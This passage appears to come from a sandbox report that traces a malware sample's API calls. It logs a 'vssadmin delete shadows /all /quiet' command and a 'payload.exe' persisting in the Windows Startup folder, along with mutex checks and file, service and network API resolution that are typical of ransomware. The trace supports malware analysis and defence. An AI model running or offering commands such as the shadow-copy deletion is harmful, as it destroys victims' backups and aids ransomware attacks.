lpNumberOfBytesWritten=0x1ed00ff988*=0x5, lpOverlapped=0x0) returned 1 [0142.010] GetProcessHeap () returned 0x218d4280000 [0142.010] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0x4012) returned 0x218d4288e90 [0142.010] GetProcessHeap () returned 0x218d4280000 [0142.011] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d4288e90) returned 1 [0142.011] _wcsicmp (_String1="Exit", _String2=")") returned 60 [0142.011] _wcsicmp (_String1="FOR", _String2="Exit") returned 1 [0142.011] _wcsicmp (_String1="FOR/?", _String2="Exit") returned 1 [0142.011] _wcsicmp (_String1="IF", _String2="Exit") returned 4 [0142.011] _wcsicmp (_String1="IF/?", _String2="Exit") returned 4 [0142.011] _wcsicmp (_String1="REM", _String2="Exit") returned 13 [0142.011] _wcsicmp (_String1="REM/?", _String2="Exit") returned 13 [0142.011] GetProcessHeap () returned 0x218d4280000 [0142.011] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0xb0) returned 0x218d4280730 [0142.011] GetProcessHeap () returned 0x218d4280000 [0142.011] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0x1a) returned 0x218d4286330 [0142.012] GetConsoleOutputCP () returned 0x4e3 [0142.443] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff7d4abfbb0 | out: lpCPInfo=0x7ff7d4abfbb0) returned 1 [0142.443] SetThreadUILanguage (LangId=0x0) returned 0x409 [0142.658] GetConsoleTitleW (in: lpConsoleTitle=0x1ed00ff7d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0143.239] malloc (_Size=0xffce) returned 0x218d44a0840 [0143.239] ??_V@YAXPEAX@Z () returned 0x218d44a0840 [0143.239] malloc (_Size=0xffce) returned 0x218d44b0820 [0143.239] ??_V@YAXPEAX@Z () returned 0x218d44b0820 [0143.239] _wcsicmp (_String1="Exit", _String2="DIR") returned 1 [0143.239] _wcsicmp (_String1="Exit", _String2="ERASE") returned 6 [0143.239] _wcsicmp (_String1="Exit", _String2="DEL") returned 1 [0143.239] _wcsicmp (_String1="Exit", _String2="TYPE") returned -15 [0143.239] _wcsicmp (_String1="Exit", _String2="COPY") returned 2 [0143.239] _wcsicmp (_String1="Exit", _String2="CD") returned 2 [0143.239] _wcsicmp (_String1="Exit", _String2="CHDIR") returned 2 [0143.239] _wcsicmp (_String1="Exit", _String2="RENAME") returned -13 [0143.239] _wcsicmp (_String1="Exit", _String2="REN") returned -13 [0143.239] _wcsicmp (_String1="Exit", _String2="ECHO") returned 21 [0143.239] _wcsicmp (_String1="Exit", _String2="SET") returned -14 [0143.239] _wcsicmp (_String1="Exit", _String2="PAUSE") returned -11 [0143.239] _wcsicmp (_String1="Exit", _String2="DATE") returned 1 [0143.239] _wcsicmp (_String1="Exit", _String2="TIME") returned -15 [0143.239] _wcsicmp (_String1="Exit", _String2="PROMPT") returned -11 [0143.240] _wcsicmp (_String1="Exit", _String2="MD") returned -8 [0143.240] _wcsicmp (_String1="Exit", _String2="MKDIR") returned -8 [0143.240] _wcsicmp (_String1="Exit", _String2="RD") returned -13 [0143.240] _wcsicmp (_String1="Exit", _String2="RMDIR") returned -13 [0143.240] _wcsicmp (_String1="Exit", _String2="PATH") returned -11 [0143.240] _wcsicmp (_String1="Exit", _String2="GOTO") returned -2 [0143.240] _wcsicmp (_String1="Exit", _String2="SHIFT") returned -14 [0143.240] _wcsicmp (_String1="Exit", _String2="CLS") returned 2 [0143.240] _wcsicmp (_String1="Exit", _String2="CALL") returned 2 [0143.240] _wcsicmp (_String1="Exit", _String2="VERIFY") returned -17 [0143.240] _wcsicmp (_String1="Exit", _String2="VER") returned -17 [0143.240] _wcsicmp (_String1="Exit", _String2="VOL") returned -17 [0143.240] _wcsicmp (_String1="Exit", _String2="EXIT") returned 0 [0143.240] ??_V@YAXPEAX@Z () returned 0x1 [0143.240] GetProcessHeap () returned 0x218d4280000 [0143.240] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0x14) returned 0x218d4287610 [0143.240] GetProcessHeap () returned 0x218d4280000 [0143.240] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0x1a) returned 0x218d4286500 [0143.240] GetProcessHeap () returned 0x218d4280000 [0143.240] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0x21c) returned 0x218d42877c0 [0143.240] GetConsoleTitleW (in: lpConsoleTitle=0x218d42877d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0143.335] GetProcessHeap () returned 0x218d4280000 [0143.335] RtlReAllocateHeap (Heap=0x218d4280000, Flags=0x0, Ptr=0x218d42877c0, Size=0x64) returned 0x218d42877c0 [0143.335] GetProcessHeap () returned 0x218d4280000 [0143.335] RtlSizeHeap (HeapHandle=0x218d4280000, Flags=0x0, MemoryPointer=0x218d42877c0) returned 0x64 [0143.335] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - Exit") returned 1 [0143.414] GetProcessHeap () returned 0x218d4280000 [0143.414] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d42877c0) returned 1 [0143.414] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0143.485] exit (_Code=2) Thread: id = 55 os_tid = 0xe60 Process: id = "8" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x4ad8d000" os_pid = "0xe04" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xdf0" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001217e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 37 os_tid = 0xe08 Thread: id = 40 os_tid = 0xe14 Thread: id = 52 os_tid = 0xe44 Thread: id = 53 os_tid = 0xe4c Thread: id = 54 os_tid = 0xe50 Process: id = "9" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x4f89d000" os_pid = "0xe6c" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xdf0" cmd_line = "mode con cp select=1251" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001217e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 58 os_tid = 0xe70 Thread: id = 59 os_tid = 0xe74 Process: id = "10" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x116d1000" os_pid = "0x5a0" os_integrity_level = "0x4000" os_privileges = "0x260814080" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0xdd4" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k appmodel" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xe], "NT SERVICE\\tiledatamodelsvc" [0xa], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000eee0" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 64 os_tid = 0xb04 Thread: id = 65 os_tid = 0xb00 Thread: id = 66 os_tid = 0xafc Thread: id = 67 os_tid = 0x9a4 Thread: id = 68 os_tid = 0x998 Thread: id = 69 os_tid = 0x994 Thread: id = 70 os_tid = 0x654 Thread: id = 71 os_tid = 0x650 Thread: id = 72 os_tid = 0x630 Thread: id = 73 os_tid = 0x62c Thread: id = 74 os_tid = 0x624 Thread: id = 75 os_tid = 0x5a8 Thread: id = 76 os_tid = 0x5a4 Process: id = "11" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x38d55000" os_pid = "0xe90" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xdf0" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001217e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 77 os_tid = 0xe94 Thread: id = 78 os_tid = 0xea4 Thread: id = 79 os_tid = 0xebc Thread: id = 80 os_tid = 0xec0 Thread: id = 81 os_tid = 0xec4 Process: id = "12" image_name = "payload.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe" page_root = "0x54f19000" os_pid = "0xf7c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xdd4" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe\" -a" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001217e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 82 os_tid = 0xf80 [0145.045] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75130000 [0145.046] GetProcAddress (hModule=0x75130000, lpProcName="GetProcAddress") returned 0x751451b0 [0145.046] GetProcAddress (hModule=0x75130000, lpProcName="GetModuleHandleW") returned 0x751450d0 [0145.046] GetProcAddress (hModule=0x75130000, lpProcName="FindNextFileW") returned 0x7519ee40 [0145.046] GetProcAddress (hModule=0x75130000, lpProcName="FindClose") returned 0x7519ed70 [0145.046] GetProcAddress (hModule=0x75130000, lpProcName="MoveFileW") returned 0x7517e500 [0145.046] GetProcAddress (hModule=0x75130000, lpProcName="GetFileSizeEx") returned 0x7519ef40 [0145.046] GetProcAddress (hModule=0x75130000, lpProcName="GetModuleFileNameW") returned 0x75145090 [0145.046] GetProcAddress (hModule=0x75130000, lpProcName="GetFileAttributesW") returned 0x7519ef10 [0145.046] GetProcAddress (hModule=0x75130000, lpProcName="ExitProcess") returned 0x75143cb0 [0145.046] GetProcAddress (hModule=0x75130000, lpProcName="GetCommandLineW") returned 0x75144cc0 [0145.046] GetProcAddress (hModule=0x75130000, lpProcName="GetComputerNameW") returned 0x751732c0 [0145.046] GetProcAddress (hModule=0x75130000, lpProcName="GetComputerNameA") returned 0x75173780 [0145.046] GetProcAddress (hModule=0x75130000, lpProcName="CreateMutexW") returned 0x7519eb70 [0145.046] GetProcAddress (hModule=0x75130000, lpProcName="lstrlenW") returned 0x75146c70 [0145.046] GetProcAddress (hModule=0x75130000, lpProcName="lstrlenA") returned 0x75146c50 [0145.046] GetProcAddress (hModule=0x75130000, lpProcName="GetCurrentProcess") returned 0x7519ea10 [0145.046] GetProcAddress (hModule=0x75130000, lpProcName="WaitForSingleObject") returned 0x7519eca0 [0145.046] GetProcAddress (hModule=0x75130000, lpProcName="GetLogicalDrives") returned 0x75140d20 [0145.047] GetProcAddress (hModule=0x75130000, lpProcName="GetTickCount") returned 0x7519dd50 [0145.047] GetProcAddress (hModule=0x75130000, lpProcName="DeleteFileW") returned 0x7519ed40 [0145.047] GetProcAddress (hModule=0x75130000, lpProcName="WideCharToMultiByte") returned 0x75146b10 [0145.047] GetProcAddress (hModule=0x75130000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x7519ebb0 [0145.047] GetProcAddress (hModule=0x75130000, lpProcName="Sleep") returned 0x75146760 [0145.047] GetProcAddress (hModule=0x75130000, lpProcName="LeaveCriticalSection") returned 0x770db250 [0145.047] GetProcAddress (hModule=0x75130000, lpProcName="ReadFile") returned 0x7519f090 [0145.047] GetProcAddress (hModule=0x75130000, lpProcName="CreateFileW") returned 0x7519ed10 [0145.047] GetProcAddress (hModule=0x75130000, lpProcName="OpenMutexW") returned 0x7519ebf0 [0145.047] GetProcAddress (hModule=0x75130000, lpProcName="EnterCriticalSection") returned 0x770db2d0 [0145.047] GetProcAddress (hModule=0x75130000, lpProcName="WaitForMultipleObjects") returned 0x7519ec80 [0145.047] GetProcAddress (hModule=0x75130000, lpProcName="lstrcmpiW") returned 0x75146bf0 [0145.047] GetProcAddress (hModule=0x75130000, lpProcName="lstrcmpiA") returned 0x75146bd0 [0145.047] GetProcAddress (hModule=0x75130000, lpProcName="DeleteCriticalSection") returned 0x770bfb90 [0145.047] GetProcAddress (hModule=0x75130000, lpProcName="ReleaseMutex") returned 0x7519ec20 [0145.047] GetProcAddress (hModule=0x75130000, lpProcName="CloseHandle") returned 0x7519eab0 [0145.047] GetProcAddress (hModule=0x75130000, lpProcName="GetVersion") returned 0x751456c0 [0145.047] GetProcAddress (hModule=0x75130000, lpProcName="CreateThread") returned 0x751446b0 [0145.051] GetProcAddress (hModule=0x75130000, lpProcName="ExpandEnvironmentStringsW") returned 0x75144a40 [0145.051] GetProcAddress (hModule=0x75130000, lpProcName="QueryPerformanceCounter") returned 0x75145da0 [0145.051] GetProcAddress (hModule=0x75130000, lpProcName="QueryPerformanceFrequency") returned 0x75145dc0 [0145.051] GetProcAddress (hModule=0x75130000, lpProcName="GetCurrentProcessId") returned 0x7519ea20 [0145.051] GetProcAddress (hModule=0x75130000, lpProcName="SetFileAttributesW") returned 0x7519f100 [0145.051] GetProcAddress (hModule=0x75130000, lpProcName="GetVolumeInformationW") returned 0x7519f020 [0145.051] GetProcAddress (hModule=0x75130000, lpProcName="WriteFile") returned 0x7519f180 [0145.051] GetProcAddress (hModule=0x75130000, lpProcName="SetFilePointerEx") returned 0x7519f130 [0145.051] GetProcAddress (hModule=0x75130000, lpProcName="SetEndOfFile") returned 0x7519f0e0 [0145.051] GetProcAddress (hModule=0x75130000, lpProcName="FindFirstFileW") returned 0x7519edf0 [0145.051] GetProcAddress (hModule=0x75130000, lpProcName="GetProcessHeap") returned 0x751451f0 [0145.051] GetProcAddress (hModule=0x75130000, lpProcName="HeapReAlloc") returned 0x770cf630 [0145.051] GetProcAddress (hModule=0x75130000, lpProcName="HeapAlloc") returned 0x770d2dc0 [0145.051] GetProcAddress (hModule=0x75130000, lpProcName="HeapFree") returned 0x751457f0 [0145.051] GetProcAddress (hModule=0x75130000, lpProcName="CreatePipe") returned 0x75144590 [0145.051] GetProcAddress (hModule=0x75130000, lpProcName="SetHandleInformation") returned 0x7519eae0 [0145.051] GetProcAddress (hModule=0x75130000, lpProcName="CreateProcessW") returned 0x75144610 [0145.051] GetProcAddress (hModule=0x75130000, lpProcName="CompareStringW") returned 0x75144430 [0145.051] GetProcAddress (hModule=0x75130000, lpProcName="CompareStringA") returned 0x75144410 [0145.051] GetProcAddress (hModule=0x75130000, lpProcName="OpenProcess") returned 0x75145cc0 [0145.052] GetProcAddress (hModule=0x75130000, lpProcName="TerminateProcess") returned 0x751467e0 [0145.052] GetProcAddress (hModule=0x75130000, lpProcName="GetSystemTime") returned 0x751454e0 [0145.052] GetProcAddress (hModule=0x75130000, lpProcName="SystemTimeToFileTime") returned 0x751467a0 [0145.052] GetProcAddress (hModule=0x75130000, lpProcName="GetLastError") returned 0x75145010 [0145.052] GetProcAddress (hModule=0x75130000, lpProcName="CreateToolhelp32Snapshot") returned 0x7517edc0 [0145.052] GetProcAddress (hModule=0x75130000, lpProcName="Process32NextW") returned 0x7517f8f0 [0145.052] GetProcAddress (hModule=0x75130000, lpProcName="Process32FirstW") returned 0x7517f750 [0145.052] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x767a0000 [0145.098] GetProcAddress (hModule=0x767a0000, lpProcName="RegOpenKeyExW") returned 0x767be580 [0145.098] GetProcAddress (hModule=0x767a0000, lpProcName="RegQueryValueExW") returned 0x767be5a0 [0145.098] GetProcAddress (hModule=0x767a0000, lpProcName="RegSetValueExW") returned 0x767bf530 [0145.098] GetProcAddress (hModule=0x767a0000, lpProcName="RegCloseKey") returned 0x767bed60 [0145.099] GetProcAddress (hModule=0x767a0000, lpProcName="OpenProcessToken") returned 0x767befb0 [0145.099] GetProcAddress (hModule=0x767a0000, lpProcName="GetTokenInformation") returned 0x767bee90 [0145.099] GetProcAddress (hModule=0x767a0000, lpProcName="OpenSCManagerW") returned 0x767c0540 [0145.099] GetProcAddress (hModule=0x767a0000, lpProcName="OpenServiceW") returned 0x767bfa20 [0145.099] GetProcAddress (hModule=0x767a0000, lpProcName="CloseServiceHandle") returned 0x767bfc00 [0145.099] GetProcAddress (hModule=0x767a0000, lpProcName="ControlService") returned 0x767d26d0 [0145.099] GetProcAddress (hModule=0x767a0000, lpProcName="QueryServiceStatus") returned 0x767c2380 [0145.099] GetProcAddress (hModule=0x767a0000, lpProcName="EnumDependentServicesW") returned 0x767d2f70 [0145.099] GetProcAddress (hModule=0x767a0000, lpProcName="EnumServicesStatusExW") returned 0x767bfc80 [0145.099] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75ce0000 [0145.366] GetProcAddress (hModule=0x75ce0000, lpProcName="SystemParametersInfoW") returned 0x75d0f210 [0145.366] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x73b80000 [0145.425] GetProcAddress (hModule=0x73b80000, lpProcName="ShellExecuteExW") returned 0x73ce4730 [0145.425] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77090000 [0145.425] GetProcAddress (hModule=0x77090000, lpProcName="NtQuerySystemInformation") returned 0x77102070 [0145.425] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73a90000 [0145.427] GetProcAddress (hModule=0x73a90000, lpProcName="WNetCloseEnum") returned 0x73a92640 [0145.427] GetProcAddress (hModule=0x73a90000, lpProcName="WNetOpenEnumW") returned 0x73a92790 [0145.427] GetProcAddress (hModule=0x73a90000, lpProcName="WNetEnumResourceW") returned 0x73a92410 [0145.428] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75730000 [0145.430] GetProcAddress (hModule=0x75730000, lpProcName="WSAStartup") returned 0x75735b40 [0145.430] GetProcAddress (hModule=0x75730000, lpProcName="socket") returned 0x75744510 [0145.430] GetProcAddress (hModule=0x75730000, lpProcName="send") returned 0x75735030 [0145.430] GetProcAddress (hModule=0x75730000, lpProcName="recv") returned 0x75740c50 [0145.430] GetProcAddress (hModule=0x75730000, lpProcName="connect") returned 0x75735410 [0145.430] GetProcAddress (hModule=0x75730000, lpProcName="closesocket") returned 0x75740910 [0145.430] GetProcAddress (hModule=0x75730000, lpProcName="gethostbyname") returned 0x75766cb0 [0145.430] GetProcAddress (hModule=0x75730000, lpProcName="inet_addr") returned 0x75749160 [0145.430] GetProcAddress (hModule=0x75730000, lpProcName="ntohl") returned 0x757349d0 [0145.430] GetProcAddress (hModule=0x75730000, lpProcName="htonl") returned 0x757349d0 [0145.430] GetProcAddress (hModule=0x75730000, lpProcName="htons") returned 0x75748ff0 [0145.430] GetProcessHeap () returned 0x660000 [0145.430] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x66af40 [0145.430] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=7101355604) returned 1 [0145.430] GetTickCount () returned 0x11548 [0145.430] GetCurrentProcessId () returned 0xf7c [0145.432] GetTickCount () returned 0x11548 [0145.432] GetTickCount () returned 0x11548 [0145.432] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x66b198 [0145.432] GetVersion () returned 0x23f00206 [0145.432] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7) returned 0x676da8 [0145.432] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x677ee8 [0145.432] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677ee8, Size=0x20) returned 0x66b058 [0145.432] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x66b058, Size=0x40) returned 0x677560 [0145.432] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x67d3e0 [0145.432] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_72VX64A") returned 0x1ec [0145.432] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x676da8 | out: hHeap=0x660000) returned 1 [0145.432] lstrlenW (lpString="Global\\syncronize_") returned 18 [0145.432] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x677560 | out: hHeap=0x660000) returned 1 [0145.433] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7) returned 0x676e48 [0145.433] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6780e0 [0145.433] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6780e0, Size=0x20) returned 0x66b058 [0145.433] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x66b058, Size=0x40) returned 0x677878 [0145.433] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x68d3e8 [0145.433] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_72VX64U") returned 0x1f0 [0145.433] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x676e48 | out: hHeap=0x660000) returned 1 [0145.433] lstrlenW (lpString="Global\\syncronize_") returned 18 [0145.433] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x677878 | out: hHeap=0x660000) returned 1 [0145.433] GetVersion () returned 0x23f00206 [0145.433] GetCurrentProcess () returned 0xffffffff [0145.433] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0145.433] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0145.433] CloseHandle (hObject=0x1f4) returned 1 [0145.433] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102 [0145.433] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x3e8) returned 0x0 [0145.433] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x14) returned 0x674f98 [0145.433] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x677eb8 [0145.433] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677eb8, Size=0x20) returned 0x66b058 [0145.433] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x66b058, Size=0x40) returned 0x677758 [0145.433] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677758, Size=0x80) returned 0x676bd8 [0145.433] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x676bd8, Size=0x100) returned 0x677d40 [0145.433] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x34) returned 0x678e20 [0145.433] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4) returned 0x676d38 [0145.433] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4) returned 0x676d98 [0145.433] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x676da8 [0145.433] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x677f78 [0145.433] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4) returned 0x676de8 [0145.433] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x678008 [0145.433] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x676de8, Size=0x8) returned 0x676e48 [0145.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x677ea0 [0145.434] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x676e48, Size=0x10) returned 0x677f90 [0145.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x678110 [0145.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x678140 [0145.434] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677f90, Size=0x20) returned 0x66b058 [0145.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x678038 [0145.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x678188 [0145.434] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x676d38, Size=0x8) returned 0x676de8 [0145.434] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x676d98, Size=0x8) returned 0x676e48 [0145.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x676d38 [0145.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6780e0 [0145.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4) returned 0x676d98 [0145.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x677eb8 [0145.434] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x676d98, Size=0x8) returned 0x676e58 [0145.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x677ee8 [0145.434] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x676e58, Size=0x10) returned 0x677f00 [0145.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x677f18 [0145.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x676d98 [0145.434] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677f00, Size=0x20) returned 0x69d4c0 [0145.434] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x676de8, Size=0x10) returned 0x677f00 [0145.434] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x676e48, Size=0x10) returned 0x677f30 [0145.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x676de8 [0145.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x677f48 [0145.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4) returned 0x676e48 [0145.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x677f90 [0145.434] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x676e48, Size=0x8) returned 0x676e58 [0145.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x676e68 [0145.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x677fa8 [0145.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4) returned 0x676e48 [0145.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x677fc0 [0145.434] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x676e48, Size=0x8) returned 0x69dda8 [0145.434] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677f00, Size=0x20) returned 0x69d858 [0145.434] RtlReAllocateHeap (Heap=0x660000, 